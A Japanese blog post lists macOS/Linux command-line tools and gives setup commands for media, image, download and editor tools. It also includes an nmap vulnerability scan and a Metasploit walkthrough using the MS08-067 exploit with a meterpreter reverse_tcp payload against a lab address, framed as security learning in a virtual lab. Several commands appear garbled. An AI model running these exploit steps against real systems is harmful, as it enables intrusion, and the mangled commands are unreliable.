Command Lineで使用しているツールを簡単にではありますが、まとめてみようと思います。前回の続きです。私が知らない便利ツールはまだまだたくさんありますので、ここに掲載されているもの以外で便利なものがあれば、ぜひ教えてください。
この記事に貼り付けてあるリンクは、キーワードに関連する適切な場所へと誘導してくれます。非常に有効なので、ぜひ参照してみてください。
また、私は基本的にパソコンのことは何もわかっていないので、記事内には誤りを含む可能性があります。よって、できる限り自分の環境を把握した上で、適時読み換えてもらえればと思います。特に、設定ファイルの場所については気をつけてください。また、Git
やHomebrew
、MacPort
の導入説明などは省略していますので、注意が必要です。
私は、作業中に動画を再生することがよくあります。ただし、いつも倍速再生するので、Mplayer
では少し不便な場合があります。そんな時は、VLCを使用してみることにします。MacPortでインストールできるアプリは他にもたくさんあります。Xcode4.3を使用している場合は、Errorが出るので、以下のようにします。
sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/
sudo port install vlc
または、.dmg
ファイルを利用してインストールする場合は、設定ファイルに以下を追記すると、便利になります。これは、cvlc
を使用する方法です。
alias cvlc='/Applications/VLC.app/Contents/MacOS/VLC --intf=rc'
##VLCにErrorが出る場合
VLC
のErrorが出る場合、以下のような解決策があるようです。
% vlc
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x23b9108] main libvlc error: No plugins found! Check your VLC installation.
% vlc -v
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x1b8c108] main libvlc warning: cannot read /livefs.squashfs/usr/lib/vlc/plugins/plugins.dat (No such file or directory)
[0x1b8c108] main libvlc error: No plugins found! Check your VLC installation.
#Solution 1
#VideoLANのプラグインを参照するためシンボリックリンクを作成します。
$ sudoのはln-s / / livefs.squashfs
#Solution 2
#環境変数にVideoLANの正しいパスを教えます。
$ export VLC_PLUGIN_PATH=/usr/lib/vlc/plugins/
##その他の解決法
その他、Mac
にVLCをインストールし、インターフェイスを変更すると、CUIで操作できるようになります。
VLC > 環境設定 > インターフェイス > すべて表示 > インターフェイス:メインインターフェイス > ncurses
echo "alias gvlc='/Applications/VLC.app/Contents/MacOS/VLC'" >> ~/.zshrc
source ~/.zshrc
gvlc
#ffmpeg
ffmpegとは、.mp4
や.flv
を変換することができるツールです。また、動画変換アプリとしては、Handbreakも優秀です。
brew install --use-gcc ffmpeg
私は、動画を.mp3
に変換するために使用することが多いです。以下のようにしてエイリアスを設定することでffmpeg-mp3
でフォルダ内にある.mp4
と.flv
を一括変換できます。
echo "alias ffmpeg-mp3='for i in *.mp4; do ffmpeg -i $i -vn ${i%.mp4}.mp3; done && for i in *.flv; do ffmpeg -i $i -vn ${i%.flv}.mp3; done'" >> ~/.zshrc
また、.swf
を変換するには、swftoolsが便利です。
#DVDをバックアップし、変換する
DVDをバックアップし、変換するには、musicalが便利です。
brew install dvdbackup
gem install musical
#DVDのリッピングとwavへの変換
musical
#DVDのリッピング
musical --ignore-convert-sound
#exiftool
exiftool
とは、EXIF
情報を表示したり、編集できるツールのことです。これを利用することで、写真を整理したり、整理した写真をrubyでFlickrに投稿したりすることができます。
brew install exiftool
また、私は、GPS
位置情報を削除するためにも使用することがあります。
exiftool -overwrite_original -geotag= *.jpg
#imagemagick
imagemagickとは、画像を表示したり、変換したりするツールです。
brew install imagemagick
例えば、180x120
のサムネイルを作成するには以下のようにします。
convert -define jpeg:size=180x120 -resize 180x120 src.jpg dst.jpg
#jdownloader
jdownloaderとは、Download Managerのことです。時にファイルをブラウザのダウンローダーでダウンロードしようとすると、ブラウザの挙動により、またはダウンローダーとしての機能によりダウンロード中のファイルが失われ、最初からダウンロードするような事態が起きてしまいがちです。そのようなときは、jdownloader
等を使用するとよいでしょう。また、jdownloader
は、パスワードを自動解析し、解除したり、自動で解凍したりといった設定が可能なので、色々と便利です。
ただし、このアプリは、VLC
などと違ってGUIを基本としたアプリです。よって、CUI操作もできることはできますが、GUI操作が基本となります。なお、Macの場合は、VLC
と同様にエイリアスを設定しておくと便利です。Linuxの場合は不要でした。
#ダウンロードを開始する
JDownloader -start
#ダウンロードを停止する
JDownloader -stop
#ファイルを追加する
JDownloader -add <link>
#終了する
JDownloader -quit
jdownloader for Ubuntu
sudo apt-add-repository ppa:jd-team/jdownloader
sudo apt-get update
sudo apt-get install jdownloader
また、完全な日本語化も可能です。
#w3m
w3m
とは、テキストブラウザのことです。今やURLの認証などは当たり前で、すべての動作をコマンドラインから行おうとした場合、w3m
が意外と役に立ちます。もちろん、ブラウジングにも役に立ちますが。
ここでは、w3m
のkaymap設定例を紹介しておきます。
#'m'で カーソル下のURLをコピーする
keymap m EXTERN_LINK "echo %s | pbcopy"
#'M'で現在開いているURLをコピーする
keymap M EXTERN "echo %s | pbcopy"
#youtube-dl
youtube-dl
とは、YouTube動画をURLからダウンロードするツールです。w3m
と一緒に使用すれば、そこそこ便利になるかもしれません。
brew install youtube-dl
youtube-dl -t URL
#nmap
nmapとは、ネットワークスキャナのことです。様々な脆弱性をスキャンするスクリプトも数多く公開されています。
nmap -sT 192.168.0.3
スクリプトは、Lua
で書かれています。ダウンロードしたものをnmap/scripts
に保存し、データベースを再起動すると使えるようになります。
wget http://nmap.org/svn/scripts/smb-check-vulns.nse
find / -name nmap
mv smb-check-vulns.nse /usr/local/share/nmap/scripts
nmap --script-updatedb
nmap --script=smb-check-vulns 192.168.0.3
#metasploit
metasploit
とは、セキュリティにおける定番ツールのことです。基本的には、脆弱性スキャナと攻撃ツールとなっておりますが、拡張することで、総合的な脆弱性テストが可能です。
では、なぜこのようなツールを紹介するのかというと、私は、パソコンのセキュリティは重要であると考えています。そして、セキュリティを学ぶには、まずはハッキングから学ぶことが効率的だと考えています。つまり、攻撃者の立場になってものを考えるわけです。ということで、ここでは、metasploit
の基本的な使い方を紹介したいと思います。
sudo port install metasploit3
brew install metasploit
sudo port uninstall metasploit3
msfconsole
msfupdate
metasploit
を実行するときは、ローカルネットワークに仮想環境を構築し、それを対象にしましょう。ここでは、VirtualBox
を使用。
VBoxManage modifyvm windows-xp --vrde on
VBoxManage statmv windows-xp
metasploit
の使い方を学ぶには、常に最新のセキュリティ情報をチェックし、危険な脆弱性については、仮想環境にて実行してみることをおすすめします。
#一気にsessionを確立できるためパフォーマンスによく使われるxpの特定バージョンの脆弱性の検索
> search ms08_067_netapi
#攻撃ツールのロード
> use windows/smb/ms08_067_netapi
#ペイロードの設定
> set PAYLOAD windows/meterpreter/reverss_tcp
#攻撃対象の設定
> set RHOST 192.168.0.3
#使用するポートの設定
> set LPORT 8080
#攻撃の開始
> exploit -j
なお、ここでは、投稿の体裁上、MainのMac
で攻撃を実行していますが、攻撃する側、攻撃される側どちらも仮想環境に構築し、外部からアクセス出来ないように設定しておくのが一番かとおもいます。その場合、攻撃する側は、BackTrackを使用するのがいいかと思います。
#BackTrack
BackTrack5"
とは、Ubuntu
をベースに作られたHackingToolをつめあわせたOSのことです。アプリも必要最低限しか入っておらず、かつブラウザの設定において一定のセキュリティが施されていることから、初期からある程度のセキュリティが考えられています。
ここでは、BackTrack5
の初期設定を説明していきたいと思います。
apt-get update && apt-get install software-center
##日本語化
日本語版のBackTrack
も出回っているようですが、一応紹介しておきます。
Language Support
##startx自動化
apt-get install vim
vim ~/.bash_profile
#!/bin/sh
if [[ ! $DISPLAY && $(tty) = /dev/tty1 ]]; then
exec startx
fi
##無線LAN接続の自動化
prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/
update-rc.d wicd defaults
##フォルダの英語化
Ubuntu
などでは必須の初期設定です。
sudo apt-get install xdg-user-dirs-gtk
LANG=C xdg-user-dirs-gtk-update
#mosh
moshとは、SSH
に代わる新しいリモートツールのことです。moshの特徴は、SSH
にはないIP Addresの追跡機能やレスポンスの快適さにあります。基本的には、SSHの設定が使えますので、接続した後は、そちらを参考にしてください。
brew install mobile-shell
mosh remotehost --server="LANG=$LANG mosh-server"
mosh mba@192.168.0.101
sudo apt-get install mosh
#Cygwin+mintty
Windows
でTerminal環境を整えるには、Cygwin+minttyがベストだと思います。
まずは、Cygwinをダウンロードし、インストールした後、以下のコマンドを実行します。なお、セットアップにてWeb > WgetだけはCheckを入れておいてください。
wget http://apt-cyg.googlecode.com/svn/trunk/apt-cyg
mv apt-cyg /usr/bin
chmod +x /usr/bin/apt-cyg
source ~/.bashrc
apt-cyg install mintty
なお、シェルをzshに変更する場合は、/etc/passwd
の/bin/bash
を/bin/zsh
に変更します。これで初期からある程度の補完が効いて少しは楽に作業ができます。
apt-cyg install zsh
apt-cyg install vim
vim /etc/passwd
#purge
purgeとは、Macのメモリを開放するコマンドです。Xcode
を入れると、同時に入ります。
purge
動作が一瞬停滞しますが、アプリのクラッシュなどはなく、踏み込んだメモリ解放はおこなっていない様子です。docsを見てみましょう。ここでは、ページャーであるlessをインストールしてみます。
brew install less
man purge | less -N
ディスクキャッシュとして確保されているメモリを解放して起動時の状態に近づけるとあります。また、特定できないメモリの確保には影響しないとあります。よって、効果は高いけど、悪影響も小さいということでしょう。安心して使えそうですね。
#kptool
kptool
とは、keepassのCLI版のようなものです。そして、keepass
とは、パスワード管理アプリです。なお、kptoolは、パスワードを管理することになる以上、docsをしっかりと読み、理解した上で使用しましょう。
sudo easy_install pip
pip install kptool
改良版
git clone https://github.com/shirou/kptool.git
cd kptool/kptool
python kptool.py ~/kptool/tests/keepass-test.kdb
実行できない場合は必要なものを揃えます。
cd ~/kptool
sudo python setup.py install
または、
sudo pip install pycrypto
echo "alias keepass='python ~/kptool/kptool/kptool.py ~/kptool/tests/keepass-test.kdb'" >> ~/.zshrc
source ~/.zshrc
keepass
他にもpython-keepassというものがあります。
#wol
wol
とは、Wake-on-LANの略です。簡単に言えば、パソコンの電源をリモートで入れられるアプリのこと。パソコンは、マジックパケットというものを受信すると、パーツや設定にもよりますが、リモートで電源が入るようになっています。
##サーバー側
sudo apt-get install ethtool
sudo vim /etc/rc.local
/usr/sbin/ethtool -s eth0 wol g
exit0
##クライアント側
brew install wakeonlan
wakeonlan -i <IP Address> <Mac Address>
もちろん、LAN経由のみならず、WAN経由でも遠隔でパソコンの電源をいれることは可能です。また、iPhoneやAndroidのFingでもWOL
は可能なので試してみてください。
git clone git://gist.github.com/3018095.git
参考:Wake-on-LANのマジックパケットを投げつけるだけ
##Global IP Addressの確認
curl ifconfig.me
##ダイナミックDNS
WAN経由で遠隔操作する場合、サーバーのグローバルアドレスの変化を通知するようにしておきましょう。
まず、MyDNSに登録します。次に、メール送信ソフトとスケジュールソフトのインストールと設定を行います。
sudo apt-get update && sudo apt-get install fetchmail
sudo chmod 710 ~/.fetchmailrc
sudo nano ~/.fetchmailrc
user <MyDNSのID>
password <MyDNSのパスワード>
is <サーバーのアカウント> here
crontab -e
0*** /usr/bin/fetchmail -f $HOME/.fetchmailrc 1> /dev/null 2>&1
#Vim
##VimのキーバインドをEmacs風にする
Vim
とは、Pluginが豊富なEditorのことです。私は、kaybindは基本的にはEmacs
のほうが好きなのですが、PluginはVim
だと思っています。最初に、Emacs風のkaybindを設定ファイルに書いてみます。
" 矢印キーの使用
inoremap <C-p> <Up>
inoremap <C-n> <Down>
inoremap <C-b> <Left>
inoremap <C-f> <Right>
inoremap <C-e> <End>
inoremap <C-a> <Home>
inoremap <C-h> <Backspace>
inoremap <C-d> <Del>
" カーソル位置の行をウィンドウの中央に来るようにスルロール
inoremap <C-l> <C-o>zz
" カーソル以前の文字を削除
inoremap <C-u> <C-o>d0
" カーソル以降の文字を削除
inoremap <C-k> <C-o>D
" アンドゥ
inoremap <C-x>u <C-o>u
" 貼りつけ
inoremap <C-y> <C-o>P
" カーソルから単語末尾まで削除
inoremap <F1>d <C-o>dw
" ファイルの先頭に移動
inoremap <F1>< <Esc>ggI
" ファイルの末尾に移動
inoremap <F1>> <Esc>GA
" 下にスクロール
inoremap <C-v> <C-o><C-f>
" 上にスクロール
inoremap <F1>v <C-o><C-b>
" Ctrl-Space で補完
" Windowsは <Nul>でなく <C-Space> とする
inoremap <Nul> <C-n>
参考:vimのインサートモード時のキーバインドをemacsに似せる 2
私の場合、カーソル1文字移動はVim
風のkeybindのほうが好きなので、そこら辺は変更してあったりと、上の設定とはちょっとばかり異なります。
##コマンドモードへの移行
" insert mode でjjでesc
inoremap jj <Esc>
##自動的な移動
" カッコやクオートなどを入力した際に左に自動で移動します
inoremap {} {}<Left>
inoremap [] []<Left>
inoremap () ()<Left>
inoremap "" ""<Left>
inoremap '' ''<Left>
inoremap <> <><Left>
##Vim Plugin
###teol.vim
Cなどを書くときに行末につける;
を忘れてしまうことはありませんか。そんな時は、teol.vimが便利です。
Bundle 'vim-scripts/teol.vim.git'
例えば、<leader>
+;
を入力すると、行末に;
が挿入されます。
###vim-smartchr
見栄えを良くするために半角スペースを使用することは多くありませんか。そんな時は、vim-smartchrを使って設定を行なっておくと便利ですよ。
Bundle 'kana/vim-smartchr'
例えば、=
と入力すると、スペースを含めた_=_
が入力されるように設定してみます。
inoremap <expr> = smartchr#loop(' = ', ' == ', ' === ', '=')
##simplenote.vim
私はメモ帳にSimplenoteを多用しています。Cloudに保存されるのと、端末向けのClient Appが用意されていることや、URLを手軽にクリップできるのも大きいです。今回は、Vim
上で動作するSimplenote Clientの紹介です。
Bundle 'mrtazz/simplenote.vim'
vimrc
にアカウント情報を入力しましょう。
let g:SimplenoteUsername = "your simplenote username"
let g:SimplenotePassword = "your simplenote password"
これで例えば、:Simplenote -l
とすると、リストが表示され、直感的な操作でメモを閲覧、編集できます。
追記
投稿の上限が来たので、これ以降のツールの紹介は、次回になります。よろしくお願いします。